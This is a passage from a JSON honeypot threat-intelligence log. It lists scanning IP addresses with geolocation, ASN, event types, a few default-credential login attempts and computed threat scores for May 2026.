      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T23:50:09.539000+00:00",
        "last_seen_30d": "2026-05-21T23:51:15.866000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "183.56.196.245": {
      "attack_count": 5,
      "first_seen": "2026-05-30T19:46:33.737Z",
      "last_seen": "2026-05-30T19:48:33.741Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "mysql"
      ],
      "passwords_attempted": [
        "mysql"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 135089,
      "as_org": "China Telecom",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T19:46:33.737000+00:00",
        "last_seen_30d": "2026-05-30T19:58:41.081000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "103.186.102.27": {
      "attack_count": 4,
      "first_seen": "2026-05-06T17:07:30.188Z",
      "last_seen": "2026-05-06T17:07:39.416Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": "Dhaka",
      "asn": 133209,
      "as_org": "Saturn Internet Service",
      "threat_score": 5.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T17:07:30.188000+00:00",
        "last_seen_30d": "2026-05-08T14:21:36.994000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "139.59.138.125": {
      "attack_count": 4,
      "first_seen": "2026-05-29T11:04:39.580Z",
      "last_seen": "2026-05-29T11:04:42.230Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 36.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.9,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-26T04:22:15+00:00",
        "last_seen_30d": "2026-05-29T11:05:49.557000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 28,
        "Honeytrap": 17,
        "Cowrie": 4
      }
    },
    "186.26.226.92": {
      "attack_count": 4,
      "first_seen": "2026-05-19T04:42:31.527Z",
      "last_seen": "2026-05-19T05:39:15.810Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": null,
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T04:42:31.527000+00:00",
        "last_seen_30d": "2026-05-19T05:40:22.064000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "190.99.186.46": {
      "attack_count": 4,
      "first_seen": "2026-05-22T07:59:47.949Z",
      "last_seen": "2026-05-22T08:04:00.798Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Cali",
      "asn": 10299,
      "as_org": "EMPRESAS MUNICIPALES DE CALI E.I.C.E. E.S.P.",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T07:59:47.949000+00:00",
        "last_seen_30d": "2026-05-22T08:14:50.375000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "205.210.31.140": {
      "attack_count": 4,
      "first_seen": "2026-05-13T16:22:03.414Z",
      "last_seen": "2026-05-13T16:22:06.610Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 64.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.6,
        "persistence": 20.0,
        "diversity": 14,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 24,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-06T10:20:24+00:00",
        "last_seen_30d": "2026-05-29T20:09:19.317000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 19,
        "Honeytrap": 5,
        "Cowrie": 4,
        "H0neytr4p": 1
      }
    },
    "216.226.76.30": {
      "attack_count": 4,
      "first_seen": "2026-05-19T01:54:14.506Z",
      "last_seen": "2026-05-19T01:54:15.034Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 50219,
      "as_org": "Valence Technology Co.",
      "threat_score": 92.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.1,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 407,
        "days_active_30d": 26,
        "ports_targeted_30d": 55,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-06T11:50:56.511000+00:00",
        "last_seen_30d": "2026-05-31T21:10:33.141000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 293,
        "Honeytrap": 103,
        "ConPot": 5,
        "Cowrie": 4,
        "Ipphoney": 2
      }
    },
    "223.123.35.46": {
      "attack_count": 4,
      "first_seen": "2026-05-24T19:04:16.307Z",
      "last_seen": "2026-05-24T19:04:41.782Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Islamabad",
      "asn": 138423,
      "as_org": "CMPak Limited",
      "threat_score": 19.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T17:12:50.379000+00:00",
        "last_seen_30d": "2026-05-24T19:05:48.282000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 4
      }
    },
    "27.24.90.234": {
      "attack_count": 4,
      "first_seen": "2026-05-22T14:18:09.890Z",
      "last_seen": "2026-05-23T13:44:16.368Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T14:18:09.890000+00:00",
        "last_seen_30d": "2026-05-23T13:45:25.283000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "35.216.201.9": {
      "attack_count": 4,
      "first_seen": "2026-05-29T16:02:47.868Z",
      "last_seen": "2026-05-29T16:02:48.858Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "Zurich",
      "asn": 15169,
      "as_org": "Google LLC",
      "threat_score": 72.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.3,
        "persistence": 19.2,
        "diversity": 18,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 23,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-07T11:18:36+00:00",
        "last_seen_30d": "2026-05-29T16:03:56.458000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 25,
        "Cowrie": 4,
        "ElasticPot": 2,
        "Honeytrap": 2,
        "Tanner": 1
      }
    },
    "202.155.18.249": {
      "attack_count": 3,
      "first_seen": "2026-05-13T10:26:54.309Z",
      "last_seen": "2026-05-13T10:27:56.114Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138115,
      "as_org": "PT Deneva",
      "threat_score": 7.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T10:26:54.309000+00:00",
        "last_seen_30d": "2026-05-13T10:29:02.885000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "60.188.249.64": {
      "attack_count": 3,
      "first_seen": "2026-05-04T03:12:56.222Z",
      "last_seen": "2026-05-04T03:14:56.224Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 58461,
      "as_org": "CT-HangZhou-IDC",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T03:12:56.222000+00:00",
        "last_seen_30d": "2026-05-04T03:25:34.209000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 3
      }
    },
    "64.62.197.17": {
      "attack_count": 3,
      "first_seen": "2026-05-27T01:32:40.510Z",
      "last_seen": "2026-05-27T01:32:40.512Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 303,
        "days_active_30d": 30,
        "ports_targeted_30d": 71,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-02T01:34:36+00:00",
        "last_seen_30d": "2026-05-31T15:27:41.147000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 200,
        "Honeytrap": 79,
        "H0neytr4p": 17,
        "Cowrie": 3,
        "Dionaea": 2,
        "CitrixHoneypot": 1,
        "ElasticPot": 1
      }
    },
    "103.161.170.99": {
      "attack_count": 2,
      "first_seen": "2026-05-03T02:37:37.163Z",
      "last_seen": "2026-05-03T02:38:08.626Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Hanoi",
      "asn": 135918,
      "as_org": "VIET DIGITAL TECHNOLOGY LIABILITY COMPANY",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T02:37:37.163000+00:00",
        "last_seen_30d": "2026-05-03T02:49:01.720000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 2
      }
    },
    "103.203.66.102": {
      "attack_count": 2,
      "first_seen": "2026-05-02T17:42:23.540Z",
      "last_seen": "2026-05-02T17:42:36.694Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 133662,
      "as_org": "SHREENET",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T17:42:23.540000+00:00",
        "last_seen_30d": "2026-05-02T17:43:43.978000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "109.131.21.38": {
      "attack_count": 2,
      "first_seen": "2026-05-21T03:59:55.667Z",
      "last_seen": "2026-05-21T04:00:08.771Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Li\u00e8ge",
      "asn": 5432,
      "as_org": "Proximus NV",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T03:59:55.667000+00:00",
        "last_seen_30d": "2026-05-21T04:01:18.202000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "111.185.227.129": {
      "attack_count": 2,
      "first_seen": "2026-05-15T19:43:02.340Z",
      "last_seen": "2026-05-15T19:43:16.360Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Kaohsiung",
      "asn": 9416,
      "as_org": "Hoshin Multimedia Center Inc.",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T19:43:02.340000+00:00",
        "last_seen_30d": "2026-05-15T19:45:05.058000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "112.103.63.93": {
      "attack_count": 2,
      "first_seen": "2026-05-22T10:34:04.888Z",
      "last_seen": "2026-05-22T10:34:18.290Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T10:34:04.888000+00:00",
        "last_seen_30d": "2026-05-22T10:35:19.613000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "119.99.84.92": {
      "attack_count": 2,
      "first_seen": "2026-05-22T19:09:26.456Z",
      "last_seen": "2026-05-22T19:10:18.545Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T19:09:26.456000+00:00",
        "last_seen_30d": "2026-05-22T19:11:23.606000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "124.253.219.100": {
      "attack_count": 2,
      "first_seen": "2026-05-25T10:55:14.560Z",
      "last_seen": "2026-05-25T10:55:45.968Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "N\u0101bha",
      "asn": 17917,
      "as_org": "Quadrant Televentures Limited",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T10:55:14.560000+00:00",
        "last_seen_30d": "2026-05-25T10:56:51.939000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "131.72.243.218": {
      "attack_count": 2,
      "first_seen": "2026-05-19T06:30:29.369Z",
      "last_seen": "2026-05-19T06:30:42.547Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Ca\u00f1ada Rosqu\u00edn",
      "asn": 52329,
      "as_org": "Raul Alberto Bertani",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:29:26.128000+00:00",
        "last_seen_30d": "2026-05-19T06:31:44.527000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "143.255.85.145": {
      "attack_count": 2,
      "first_seen": "2026-05-08T10:53:49.938Z",
      "last_seen": "2026-05-08T10:54:02.369Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "El Vig\u00eda",
      "asn": 263703,
      "as_org": "VIGINET C.A",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T10:53:49.938000+00:00",
        "last_seen_30d": "2026-05-08T10:55:10.396000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "152.56.68.251": {
      "attack_count": 2,
      "first_seen": "2026-05-16T16:37:55.764Z",
      "last_seen": "2026-05-16T16:38:09.684Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Chandigarh",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T16:37:55.764000+00:00",
        "last_seen_30d": "2026-05-16T16:39:10.998000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "153.219.77.149": {
      "attack_count": 2,
      "first_seen": "2026-05-20T01:30:37.280Z",
      "last_seen": "2026-05-20T01:30:50.168Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Nagoya",
      "asn": 4713,
      "as_org": "NTT DOCOMO BUSINESS,Inc.",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T01:30:37.280000+00:00",
        "last_seen_30d": "2026-05-20T01:31:53.095000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "168.121.86.185": {
      "attack_count": 2,
      "first_seen": "2026-05-26T23:01:18.684Z",
      "last_seen": "2026-05-26T23:01:32.081Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Suriname",
      "country_code": "SR",
      "city": "Paramaribo",
      "asn": 52398,
      "as_org": "Digicel Suriname NV",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T23:01:18.684000+00:00",
        "last_seen_30d": "2026-05-26T23:02:36.224000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "168.196.226.89": {
      "attack_count": 2,
      "first_seen": "2026-05-06T00:50:25.440Z",
      "last_seen": "2026-05-06T00:50:38.250Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Don Torcuato",
      "asn": 264765,
      "as_org": "VANET TELECOMUNICACIONES S.R.L.",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T00:50:25.440000+00:00",
        "last_seen_30d": "2026-05-06T00:51:41.746000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "171.113.146.6": {
      "attack_count": 2,
      "first_seen": "2026-05-22T22:36:50.699Z",
      "last_seen": "2026-05-22T22:37:44.965Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuhan",
      "asn": 137266,
      "as_org": "CHINATELECOM Hubei province Wuhan 5G network",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T22:36:50.699000+00:00",
        "last_seen_30d": "2026-05-22T22:38:45.798000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "185.112.123.208": {
      "attack_count": 2,
      "first_seen": "2026-05-07T05:16:28.093Z",
      "last_seen": "2026-05-07T05:16:41.087Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Simferopol",
      "asn": 6789,
      "as_org": "Crelcom LLC",
